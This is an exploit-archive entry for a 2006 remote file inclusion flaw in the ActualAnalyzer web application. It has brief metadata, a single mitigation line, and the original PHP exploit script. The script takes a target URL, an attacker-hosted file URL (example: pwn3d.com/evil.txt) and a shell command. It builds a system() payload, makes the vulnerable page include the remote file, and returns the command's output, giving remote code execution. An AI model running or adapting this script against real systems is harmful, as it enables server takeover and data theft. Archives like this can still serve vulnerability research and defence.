ActualAnalyzer Remote File Inclusion Exploit

vendor:

ActualAnalyzer

by:

ReZEN

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: ActualAnalyzer

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

ActualAnalyzer Remote File Inclusion Exploit

This exploit allows an attacker to include a remote file containing arbitrary code, which is then executed by the vulnerable web application. This exploit was c0ded by ReZEN and was posted on milw0rm.com in 2006.

Mitigation:

Input validation should be used to prevent the inclusion of remote files.

Source

Exploit-DB raw data:

<?php

// No hard feelings ReZEN, I just post them when I get them. /str0ke

/*
ActualAnalyzer Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, D2K
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/path to actualanalyzer/direct.php?rf=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>

# milw0rm.com [2006-05-08]